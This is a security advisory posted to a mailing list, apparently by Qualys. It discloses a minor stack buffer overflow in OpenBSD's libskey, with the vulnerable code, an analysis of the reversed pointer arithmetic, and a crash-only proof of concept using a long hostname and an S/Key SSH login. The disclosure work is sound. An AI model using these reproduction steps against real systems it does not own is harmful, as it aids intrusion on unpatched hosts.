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Date: Wed, 15 Mar 2023 23:13:23 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Minor stack-based buffer overflow in OpenBSD's libskey
Hi all,
(Posting this report here in case another project uses the same code.)
We discovered a minor stack-based buffer overflow in OpenBSD's libskey;
it was introduced in July 1997 by the following commit:
https://github.com/openbsd/src/commit/ea55ee16580e7b47c83712c5fd50615f8b1d26ad
and was fixed today by the following commit (thanks to OpenBSD for their
incredibly quick response!):
https://github.com/openbsd/src/commit/848ef98a011b51fa811cb86fe900433edd2db24a
and although the vulnerable function is reachable remotely via OpenSSH,
this bug is useless in practice:
- the hostname of the affected system must be longer than 126 characters
to trigger this buffer overflow;
- the characters that overflow this buffer are all '\0' characters (the
filler characters of a strncpy() call).
========================================================================
Analysis
========================================================================
For users who do not have an entry in the S/Key database (the default on
OpenBSD), libskey generates a fake challenge:
------------------------------------------------------------------------
46 #define SKEY_MAX_PW_LEN 255
..
49 #define SKEY_MAX_SEED_LEN 16
------------------------------------------------------------------------
420 skey_fakeprompt(char *username, char *skeyprompt)
421 {
422 char secret[SKEY_MAX_SEED_LEN], pbuf[SKEY_MAX_PW_LEN+1], *p, *u;
...
428 /*
429 * Base first 4 chars of seed on hostname.
430 * Add some filler for short hostnames if necessary.
431 */
432 if (gethostname(pbuf, sizeof(pbuf)) == -1)
433 *(p = pbuf) = '.';
434 else
435 for (p = pbuf; isalnum((unsigned char)*p); p++)
436 if (isalpha((unsigned char)*p) &&
437 isupper((unsigned char)*p))
438 *p = (char)tolower((unsigned char)*p);
439 if (*p && pbuf - p < 4)
440 (void)strncpy(p, "asjd", 4 - (pbuf - p));
------------------------------------------------------------------------
Unfortunately, "pbuf - p" at lines 439 and 440 should be "p - pbuf", so
the "pbuf - p < 4" test at line 439 always succeeds and the strncpy() at
line 440 may overflow pbuf (if 2 * (p - pbuf) + 4 > 255 + 1, i.e. if the
hostname is longer than 126 characters).
========================================================================
Proof of concept
========================================================================
- First, as root on an OpenBSD system:
------------------------------------------------------------------------
# hostname="`hostname`"
# hostname `perl -e 'print "a" x 136'`.my.domain
# ktrace -i /usr/sbin/sshd -d -p 2222
------------------------------------------------------------------------
- Second, as a remote attacker:
------------------------------------------------------------------------
$ ssh -o ChallengeResponseAuthentication=yes -o KbdInteractiveAuthentication=yes -o PreferredAuthentications=keyboard-interactive -o KbdInteractiveDevices=bsdauth -l nobody:skey -p 2222 192.168.56.123
------------------------------------------------------------------------
- Third, again as root on the OpenBSD system:
------------------------------------------------------------------------
# hostname "$hostname"
# kdump
...
6718 login_skey PSIG SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x7f7f00000000 trapno=6
------------------------------------------------------------------------
We are at your disposal for questions, comments, and further
discussions. Thank you very much!
With best regards,
--
the Qualys Security Advisory team
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